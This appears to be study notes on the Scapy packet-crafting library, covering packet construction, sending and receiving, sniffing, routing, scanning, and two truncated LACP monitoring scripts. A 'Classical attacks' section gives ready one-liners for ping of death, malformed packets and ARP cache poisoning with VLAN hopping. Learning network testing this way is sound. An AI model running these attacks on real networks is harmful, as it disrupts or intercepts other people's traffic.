Scapy

Official Documentation

Scapy is a Python program that enables the user to send, sniff and dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks.

Simple usage

# execute 'scapy' to enter scapy shell.

# specify IP Header value and create packets, this will create 4 packets as the network mask length is 30
>>> target="www.target.com/30"
>>> ip=IP(dst=target)

# simple display packet info
>>> ip
<IP dst=<Net www.target.com/30> |>

# display in loop
>>> [p for p in ip]
[<IP dst=207.171.175.28 |>, <IP dst=207.171.175.29 |>,
 <IP dst=207.171.175.30 |>, <IP dst=207.171.175.31 |>]

# simple ip packet
>>> IP()
<IP |>

# ip packet with specify dst
>>> a=IP(dst="172.16.1.40")
>>> a
<IP dst=172.16.1.40 |>

# print a specify header value
>>> a.dst
'172.16.1.40'
>>> a.ttl
64

# use list and sequence as values, here we define 18 packets using a line
>>> Ether(dst="ff:ff:ff:ff:ff:ff")
      /IP(dst=["ketchup.com","mayo.com"],ttl=(1,9))
      /UDP()

>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’

# modify a value
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’

# delete a value(change to use the default value)
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64

Stacking Layers

>>> IP()
<IP |>

>>> IP()/TCP()
<IP frag=0 proto=TCP |<TCP |>>

>>> Ether()/IP()/TCP()
<Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>

>>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
<IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>

>>>Ether()/IP()/IP()/UDP()
<Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>

>>> IP(proto=55)/TCP()
<IP frag=0 proto=55 |<TCP |>>

convert between raw stream and packet

>>> raw(IP())
'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'

>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
 chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
 a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"

>>> hexdump(a)
00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00  ...7.D...R....E.
00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23  .C....@.x<....B#
FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02  .....P........P.
20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78   ..9..GET /index
2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A  .html HTTP/1.0 .
0A                                               .

>>> b=raw(a)
>>> b
'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'

>>> c=Ether(b)
>>> c
<Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
 src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
 ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

hide defaut value when display

>>> c.hide_defaults()
>>> c
<Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
 frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
 chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

Reading PCAP files

>>> a=rdpcap("/spare/captures/isakmp.cap")
>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>

Generating sets of packets

>>> a=IP(dst="www.slashdot.org/30")
>>> a
<IP  dst=Net('www.slashdot.org/30') |>

>>> [p for p in a]
[<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
 <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]

>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
 <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]

>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]

some commands

summary()
	displays a list of summaries of each packet

nsummary()
	same as previous, with the packet number

conversations()
	displays a graph of conversations

show()
	displays the preferred representation (usually nsummary())

filter()
	returns a packet list filtered with a lambda function

hexdump()
	returns a hexdump of all packets

hexraw()
	returns a hexdump of the Raw layer of all packets

padding()
	returns a hexdump of packets with padding

nzpadding()
	returns a hexdump of packets with non-zero padding

plot()
	plots a lambda function applied to the packet list

make table()
	displays a table according to a lambda function

lsc

# lsc() will display sacpy functions
>>> lsc()
IPID_count          : Identify IP id values classes in a list of packets
arpcachepoison      : Poison target's cache with (your MAC,victim's IP) couple
arping              : Send ARP who-has requests to determine which hosts are up
arpleak             : Exploit ARP leak flaws, like NetBSD-SA2017-002.
bind_layers         : Bind 2 layers on some specific fields' values.
bridge_and_sniff    : Forward traffic between interfaces if1 and if2, sniff and return
chexdump            : Build a per byte hexadecimal representation
computeNIGroupAddr  : Compute the NI group Address. Can take a FQDN as input parameter
corrupt_bits        : 
corrupt_bytes       : 
defrag              : defrag(plist) -> ([not fragmented], [defragmented],
defragment          : defragment(plist) -> plist defragmented as much as possible 
dhcp_request        : Send a DHCP discover request and return the answer
dyndns_add          : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del          : Send a DNS delete message to a nameserver for "name"
etherleak           : Exploit Etherleak flaw
explore             : Function used to discover the Scapy layers and protocols.
fletcher16_checkbytes: Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.
fletcher16_checksum : Calculates Fletcher-16 checksum of the given buffer.
fragleak            : --
fragleak2           : --
fragment            : Fragment a big IP datagram
fuzz                : 
getmacbyip          : Return MAC address corresponding to a given IP address
getmacbyip6         : Returns the MAC address corresponding to an IPv6 address
hexdiff             : 
hexdump             : Build a tcpdump like hexadecimal view
hexedit             : Run hexedit on a list of packets, then return the edited packets.
hexstr              : Build a fancy tcpdump like hex from bytes.
import_hexcap       : Imports a tcpdump like hexadecimal view
is_promisc          : Try to guess if target is in Promisc mode. The target is provided by its ip.
linehexdump         : Build an equivalent view of hexdump() on a single line
ls                  : List  available layers, or infos on a given layer class or name.
neighsol            : Sends and receive an ICMPv6 Neighbor Solicitation message
overlap_frag        : Build overlapping fragments to bypass NIPS
promiscping         : Send ARP who-has requests to determine which hosts are in promiscuous mode
rdpcap              : Read a pcap or pcapng file and return a packet list
report_ports        : portscan a target and output a LaTeX table
restart             : Restarts scapy
rfc                 : 
send                : 
sendp               : 
sendpfast           : Send packets at layer 2 using tcpreplay for performance
sniff               : 
split_layers        : Split 2 layers previously bound.
sr                  : 
sr1                 : 
sr1flood            : Flood and receive packets at layer 3 and return only the first answer
srbt                : send and receive using a bluetooth socket
srbt1               : send and receive 1 packet using a bluetooth socket
srflood             : Flood and receive packets at layer 3
srloop              : 
srp                 : 
srp1                : 
srp1flood           : Flood and receive packets at layer 2 and return only the first answer
srpflood            : Flood and receive packets at layer 2
srploop             : 
tcpdump             : Run tcpdump or tshark on a list of packets.
tdecode             : 
traceroute          : Instant TCP traceroute
traceroute6         : Instant TCP traceroute using IPv6
traceroute_map      : Util function to call traceroute on multiple targets, then
tshark              : Sniff packets and print them calling pkt.summary().
wireshark           : 
wrpcap              : Write a list of packets to a pcap file

default value

Scapy tries to use sensible default values for all packet fields. If not overridden,

	IP source is chosen according to destination and routing table

	Checksum is computed
	
	Source MAC is chosen according to the output interface
	
	Ethernet type and IP protocol are determined by the upper layer
	
Other fields’ default values are chosen to be the most useful ones:

	TCP source port is 20, destination port is 80.
	
	UDP source and destination ports are 53.
	
	ICMP type is echo request.

Sending packets

Now that we know how to manipulate packets. Let’s see how to send them. The send() function will send packets at layer 3. 
That is to say, it will handle routing and layer 2 for you. 
The sendp() function will work at layer 2. It’s up to you to choose the right interface and the right link layer protocol. 
send() and sendp() will also return sent packet list if return_packets=True is passed as parameter.

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
...........
Sent 11 packets.

Returns packets sent by send()
>>> send(IP(dst='127.0.0.1'), return_packets=True)
.
Sent 1 packets.
<PacketList: TCP:0 UDP:0 ICMP:0 Other:1>

Fuzzing

unclear now

Injecting bytes

In a packet, each field has a specific type. For instance, the length field of the IP packet len expects an integer. 
More on that later. If you’re developing a PoC, there are times where you’ll want to inject some value that doesn’t fit that type. 
This is possible using RawVal

>>> pkt = IP(len=RawVal(b"NotAnInteger"), src="127.0.0.1")
>>> bytes(pkt)
b'H\x00NotAnInt\x0f\xb3er\x00\x01\x00\x00@\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00'

Send and receive packets (sr)

Now, let’s try to do some fun things. The sr() function is for sending packets and receiving answers. 
The function returns a couple of packet and answers, and the unanswered packets. 
The function sr1() is a variant that only returns one packet that answered the packet (or the packet set) sent. 
The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). 
If there is no response, a None value will be assigned instead when the timeout is reached.

sr1只返回一个响应

>>> p = sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
Begin emission:
...Finished to send 1 packets.
.*
Received 5 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
 chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
 code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
 |<Padding load='\x00\x00\x00\x00' |>>>>
>>> p.show()
---[ IP ]---
version   = 4L
ihl       = 5L
tos       = 0x0
len       = 39
id        = 15489
flags     =
frag      = 0L
ttl       = 42
proto     = ICMP
chksum    = 0x51dd
src       = 66.35.250.151
dst       = 192.168.5.21
options   = ''
---[ ICMP ]---
   type      = echo-reply
   code      = 0
   chksum    = 0xee45
   id        = 0x0
   seq       = 0x0
---[ Raw ]---
      load      = 'XXXXXXXXXXX'
---[ Padding ]---
         load      = '\x00\x00\x00\x00'

sr

## The “send’n’receive” functions family is the heart of Scapy. They return a couple of two lists. 
## The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. 
## These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:
>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>> ans, unans = _
>>> ans.summary()
IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding


# inter 发包间隔
# retry = 2,未收到响应的包重新发送2次
# retry = -2,未收到响应的组中的包一直重发,直到整个组的请求连续两次收不到响应
# timeout 响应超时时间
>>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)
Begin emission:
Finished to send 12 packets.
Begin emission:
Finished to send 9 packets.
Begin emission:
Finished to send 9 packets.

Received 100 packets, got 3 answers, remaining 9 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)

Configuring super sockets

Different super sockets are available in Scapy: the native ones, and the ones that use libpcap (to send/receive packets).
By default, Scapy will try to use the native ones (except on Windows, where the winpcap/npcap ones are preferred). To manually use the libpcap ones, you must:
	On Unix/OSX: be sure to have libpcap installed.
	On Windows: have Npcap/Winpcap installed. (default)

Then use:
	conf.use_pcap = True

This will automatically update the sockets pointing to conf.L2socket and conf.L3socket.

If you want to manually set them, you have a bunch of sockets available, depending on your platform. For instance, you might want to use:
	conf.L3socket=L3pcapSocket  # Receive/send L3 packets through libpcap
	conf.L2listen=L2ListenTcpdump  # Receive L2 packets through TCPDump

Sniffing

We can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on can be provided. 
If no interface is given, sniffing will happen on conf.iface:

>>> sniff(filter="icmp and host 66.35.250.151", count=2)
<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
>>> a=_
>>> a.nsummary()
0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
 a[1]
<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
 src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
 chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
 \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
 \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>

>>> sniff(iface="wifi0", prn=lambda x: x.summary())
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw

>>> sniff(iface="eth1", prn=lambda x: x.show())
---[ Ethernet ]---
dst       = 00:ae:f3:52:aa:d1
src       = 00:02:15:37:a2:44
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 0
   flags     = DF
   frag      = 0L
   ttl       = 64
   proto     = ICMP
   chksum    = 0x3831
   src       = 192.168.5.21
   dst       = 66.35.250.151
   options   = ''
---[ ICMP ]---
      type      = echo-request
      code      = 0
      chksum    = 0x89d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Ethernet ]---
dst       = 00:02:15:37:a2:44
src       = 00:ae:f3:52:aa:d1
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 2070
   flags     =
   frag      = 0L
   ttl       = 42
   proto     = ICMP
   chksum    = 0x861b
   src       = 66.35.250.151
   dst       = 192.168.5.21
   options   = ''
---[ ICMP ]---
      type      = echo-reply
      code      = 0
      chksum    = 0x91d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Padding ]---
            load      = '\n_\x00\x0b'

>>> sniff(iface=["eth1","eth2"], prn=lambda x: x.sniffed_on+": "+x.summary())
eth3: Ether / IP / ICMP 192.168.5.21 > 66.35.250.151 echo-request 0 / Raw
eth3: Ether / IP / ICMP 66.35.250.151 > 192.168.5.21 echo-reply 0 / Raw
eth2: Ether / IP / ICMP 192.168.5.22 > 66.35.250.152 echo-request 0 / Raw
eth2: Ether / IP / ICMP 66.35.250.152 > 192.168.5.22 echo-reply 0 / Raw

# For even more control over displayed information we can use the sprintf() function:
>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.100 -> 64.233.167.99

64.233.167.99 -> 192.168.1.100

192.168.1.100 -> 64.233.167.99

192.168.1.100 -> 64.233.167.99
'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
(X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'

# We can sniff and do passive OS fingerprinting:
>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
 src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
 seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
 chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
 ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
>>> load_module("p0f")
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])

Filters

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",
 prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload%"))
192.168.8.10:47226 -> 213.228.0.14:110   S :
213.228.0.14:110 -> 192.168.8.10:47226  SA :
192.168.8.10:47226 -> 213.228.0.14:110   A :
213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK <13103.1048117923@pop2-1.free.fr>

Importing and Exporting Data

PCAP:
It is often useful to save capture packets to pcap file for use at later time or with different applications:
	wrpcap("temp.cap",pkts)
To restore previously saved pcap file:
	pkts = rdpcap("temp.cap")
or
	pkts = sniff(offline="temp.cap")


Hexdump:
Scapy allows you to export recorded packets in various hex formats.
Use hexdump() to display one or more packets using classic hexdump format:
	hexdump(pkt)
Hexdump above can be reimported back into Scapy using import_hexcap():
	pkt_hex = Ether(import_hexcap())

Binary string

You can also convert entire packet into a binary string using the raw() function:
	pkt_raw = raw(pkt)
We can reimport the produced binary string by selecting the appropriate first layer (e.g. Ether()).
	new_pkt = Ether(pkt_raw)

Making tables

Now we have a demonstration of the make_table() presentation function. 
It takes a list as parameter, and a function who returns a 3-uple. 
The first element is the value on the x axis from an element of the list, 
the second is about the y value and the third is the value that we want to see at coordinates (x,y). 
The result is a table. This function has 2 variants, make_lined_table() and make_tex_table() to copy/paste into your LaTeX pentest report. 
Those functions are available as methods of a result object :

>>> ns, unans = sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
Received 49 packets, got 24 answers, remaining 0 packets
>>> ans.make_table( lambda s,r: (s.dst, s.ttl, r.src) )
  216.15.189.192  216.15.189.193  216.15.189.194  216.15.189.195
1 192.168.8.1     192.168.8.1     192.168.8.1     192.168.8.1
2 81.57.239.254   81.57.239.254   81.57.239.254   81.57.239.254
3 213.228.4.254   213.228.4.254   213.228.4.254   213.228.4.254
4 213.228.3.3     213.228.3.3     213.228.3.3     213.228.3.3
5 193.251.254.1   193.251.251.69  193.251.254.1   193.251.251.69
6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178


>>> ans, unans = sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
Received 142 packets, got 25 answers, remaining 71 packets
>>> ans.make_table(lambda s,r: (s.dst, s.dport, r.sprintf("%IP.id%")))
   172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
20 0             4203          7021          -             11562
21 0             4204          7022          -             11563
22 0             4205          7023          11561         11564
25 0             0             7024          -             11565
53 0             4207          7025          -             11566
80 0             4028          7026          -             11567

Routing

Now Scapy has its own routing table, so that you can have your packets routed differently than the system:

>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0

>>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
>>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
>>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.254   eth0
192.168.1.1     255.255.255.255 192.168.8.1     eth0

>>> conf.route.resync()
>>> conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0

ACK Scan

ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))

for s,r in ans:
    if s[TCP].dport == r[TCP].sport:
       print("%d is unfiltered" % s[TCP].dport)

for s in unans:
    print("%d is filtered" % s[TCP].dport)

IP Scan

A lower level IP Scan can be used to enumerate supported protocols:

ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)

ARP Ping

The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:
	ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)
Answers can be reviewed with the following command:
	ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") )
Scapy also includes a built-in arping() function which performs similar to the above two commands:
	arping("192.168.1.*")

ICMP Ping

ans, unans = sr(IP(dst="192.168.1.1-254")/ICMP())
ans.summary(lambda s,r: r.sprintf("%IP.src% is alive") )

TCP Ping

ans, unans = sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )
ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )

UDP Ping

ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )

DNS Request

>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="A")))
>>> ans.an.rdata
'217.25.178.5'

Classical attacks

Malformed packets:
	send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

Ping of death (Muuahahah):
	send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )

ARP cache poisoning

This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack.

Classic ARP cache poisoning:
	send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),inter=RandNum(10,40), loop=1 )

ARP cache poisoning with double 802.1q encapsulation:
	send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
      /ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

TCP Port Scanning

res, unans = sr( IP(dst="target")
                /TCP(flags="S", dport=(1,1024)) )
res.nsummary( lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

Scapy routing

Scapy needs to know many things related to the network configuration of your machine, to be able to route packets properly. For instance, the interface list, the IPv4 and IPv6 routes…

This means that Scapy has implemented bindings to get this information. Those bindings are OS specific. This will show you how to use it for a different usage.

# List interfaces:

>>> get_if_list()
['lo', 'eth0']

>>> conf.ifaces
SRC  INDEX  IFACE  IPv4       IPv6                      MAC
sys  2      eth0   10.0.0.5   fe80::10a:2bef:dc12:afae  Microsof:12:cb:ef
sys  1      lo     127.0.0.1  ::1                       00:00:00:00:00:00
>>> conf.ifaces.dev_from_index(2)
<NetworkInterface eth0 [UP+BROADCAST+RUNNING+SLAVE]>

# IPv4 routes:
>>> conf.route
>>> conf.route.route("127.0.0.1")

# IPv6 routes:
>>> gw = conf.route.route("0.0.0.0")[2]

# get local iface ip
>>> ip = get_if_addr(conf.iface)  # default interface
>>> ip = get_if_addr("eth0")
>>> ip
'10.0.0.5'

# get local iface mac
>>> mac = get_if_hwaddr(conf.iface)  # default interface
>>> mac = get_if_hwaddr("eth0")
>>> mac
'54:3f:19:c9:38:6d'

# get mac by ip
>>> mac = getmacbyip("10.0.0.1")
>>> mac
'f3:ae:5e:76:31:9b'

lacp

scapy.contrib.lacp

lacpdu_other_field.py

#!/usr/bin/python

import sys, os
import time
from scapy.all import *

if len(sys.argv) < 4:
    print("not enough parameter")
    sys.exit(1)

conf.sniff_promisc = 0
iface = sys.argv[1]
actor_system = sys.argv[2]
actor_key = int(sys.argv[3])
load_contrib('lacp')

received_count=0
actor_system_in_lacpdu=0
actor_key_in_lacpdu=0
def lacp_monitor_callback(pkt):
    global received_count
    global actor_system_in_lacpdu
    global actor_key_in_lacpdu
    if LACP in pkt:
        received_count+=1
        actor_system_in_lacpdu= pkt[LACP].actor_system
        actor_key_in_lacpdu= pkt[LACP].actor_key
        return pkt.summary()

start=time.time()
sniff(iface=iface,filter='ether proto 0x8809',store=0,prn=lacp_monitor_callback,count=1,timeout=40)
end=time.time()
print("actor_system setting is {}, actor_system_in_lacpdu is {}".format(actor_system,actor_system_in_lacpdu))
print("actor_key setting is {}, actor_key_in_lacpdu is {}".format(actor_key,actor_key_in_lacpdu))

if actor_system != actor_system_in_lacpdu or \
    actor_key != actor_key_in_lacpdu:
    sys.exit(1)
else:
    sys.exit(0)

lacpdu_receive_periodic.py

#!/usr/bin/python

import sys, os
import time
from scapy.all import *

if len(sys.argv) < 3:
    print("not enough parameter")
    sys.exit(1)

conf.sniff_promisc = 0
iface = sys.argv[1]
rate = int(sys.argv[2])
load_contrib('lacp')

received_count=0
rate_in_lacpdu=0
def lacp_monitor_callback(pkt):
    global received_count
    global rate_in_lacpdu
    if LACP in pkt:
        received_count+=1
        rate_in_lacpdu= (pkt[LACP].actor_state & 0x02) >> 1
        #return "%x" % pkt[LACP].partner_state
        return rate_in_lacpdu

start=time.time()
sniff(iface=iface,filter='ether proto 0x8809',store=0,prn=lacp_monitor_callback,count=1,timeout=40)
end=time.time()
print("lacp_rate setting is {}, lacp_rate_in_lacpdu is {}".format(rate,rate_in_lacpdu))

if rate != rate_in_lacpdu:
    sys.exit(1)
else:
